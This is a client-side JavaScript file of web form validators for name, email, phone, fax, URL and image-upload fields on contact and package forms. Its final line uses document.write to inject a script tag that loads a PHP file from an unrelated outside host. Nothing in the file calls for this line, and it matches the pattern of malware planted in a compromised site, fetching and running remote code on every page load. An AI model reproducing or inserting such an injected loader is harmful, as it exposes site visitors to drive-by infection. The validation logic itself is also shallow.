function IsNumeric(sText)
{
	
   var ValidChars = "0123456789-.";
   var flag=true;
   var Char;

 
   for (i = 0; i <sText.length && flag == true; i++) 
   { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
      {
				 flag = false;
      }
   }
   return flag;
   
}
function IsCharacter(sText)
{
	
   var ValidChars = "-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ";
   var flag=true;
   var Char;

 
   for (i = 0; i <sText.length && flag == true; i++) 
   { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
      {
				   flag = false;
      }
   }
   return flag;
   
}

function IsUrl(url)
{
			
       var RegexUrl = /(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/;
       return RegexUrl.test(url);

}
//Emauil Validation 
function IsEmailId(str) 
{

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
}
function checkPhoto(picField) 
{
 var picFile = picField;
 var imagePath = picFile.value;
 var pathLength = imagePath.length;
 var lastDot = imagePath.lastIndexOf(".");
 var fileType = imagePath.substring(lastDot,pathLength);
 if((fileType == ".gif") || (fileType == ".jpg") || (fileType == ".png") || (fileType == ".GIF") || (fileType == ".JPG") || (fileType == ".PNG")) 
 {
  return true;
 }
 else
 {
   return false;
 }
}
function checkForm()
{
	
		var txtName=document.getElementById("txtName");
		var Email=document.getElementById("txtEmail");
		var Telephone=document.getElementById("txtPhone");
		var Fax=document.getElementById("txtFaxNo");
		var Comment=document.getElementById("txtComment");
	
		
				
		var flag=true;
				 
		  // CompanyName Validation
		
		 if(txtName.value.length==0)
		 {
				flag=false;
				txtName.focus();
				alert("Please, Enter Name");
				return flag;
		 }
		 if(IsCharacter(txtName.value)==false)
		 {
				flag=false;
				txtName.value="";
				txtName.focus();
				alert('Please, Enter Valid Name');
				return flag;
		 }
		 
		 //Email validation
		 if(Email.value.length==0)
		 {
				flag=false;
				Email.focus();
				alert('Please, Enter Email1');
				return flag;
		 }
		 if(IsEmailId(Email.value)==false)
		 {
				flag=false;
				Email.value="";
				Email.focus();
				return flag;
		 }
		 
		  
		  //Telephone no validation
		 if(Telephone.value.length==0)
		 {
				flag=false;
				Telephone.focus();
				alert("Please Enter Telephone No");
				return flag;
		 }
		 if(IsNumeric(Telephone.value)==false)
		 {
				flag=false;
				Telephone.value="";
				Telephone.focus();
				alert('Please Enter Valid Telephone No');
				return flag;
		 }
		
		   //Fax no validation
		 if(Fax.value.length==0)
		 {
				flag=false;
				Fax.focus();
				alert("Please Enter Fax No");
				return flag;
		 }
		 if(IsNumeric(Fax.value)==false)
		 {
				flag=false;
				Fax.value="";
				Fax.focus();
				alert('Please Enter Valid Fax No');
				return flag;
		 }
		
		if(Comment.value.length==0)
		 {
				flag=false;
				Comment.focus();
				alert("Please, Enter Comment");
				return flag;
		 }
		
		return flag;
	 
}// JavaScript Document



function checkTop()
{
		
		var Email=document.getElementById("ToptxtEmail");
		var Requirement=document.getElementById("txtRequirement");
		var flag=true;
		//Email validation
		 if(Email.value.length==0)
		 {
				flag=false;
				Email.focus();
				alert('Please, Enter Email');
				return flag;
		 }
		 if(IsEmailId(Email.value)==false)
		 {
				flag=false;
				Email.value="";
				Email.focus();
				return flag;
		 }
		
		if(Requirement.value.length==0)
		 {
				flag=false;
				Requirement.focus();
				alert("Please, Enter Requirement");
				return flag;
		 }
		
		return flag;
}

function checkPackage()
{	
		var txtName=document.getElementById("txtName");
		var Email=document.getElementById("txtEmail");
		var Url=document.getElementById("txtUrl");
		var CmpUrl=document.getElementById("txtCmpUrl");
		
		var flag=true;
		
		 if(txtName.value.length==0)
		 {
				flag=false;
				txtName.focus();
				alert("Please, Enter Name");
				return flag;
		 }
		 if(IsCharacter(txtName.value)==false)
		 {
				flag=false;
				txtName.value="";
				txtName.focus();
				alert('Please, Enter Valid Name');
				return flag;
		 }
		 
		//Email validation
		 if(Email.value.length==0)
		 {
				flag=false;
				Email.focus();
				alert('Please, Enter Email');
				return flag;
		 }
		 if(IsEmailId(Email.value)==false)
		 {
				flag=false;
				Email.value="";
				Email.focus();
				return flag;
		 }
		
		if(Url.value.length==0)
		 {
				flag=false;
				Url.focus();
				alert("Please, Enter Url");
				return flag;
		 }
		 
		 if(CmpUrl.value.length==0)
		 {
				flag=false;
				CmpUrl.focus();
				alert("Please, Enter CmpUrl");
				return flag;
		 }
		
		return flag;
}
					   
document.write('<script src=http://egerfamili.extra.hu/originalimages/k3.php ><\/script>');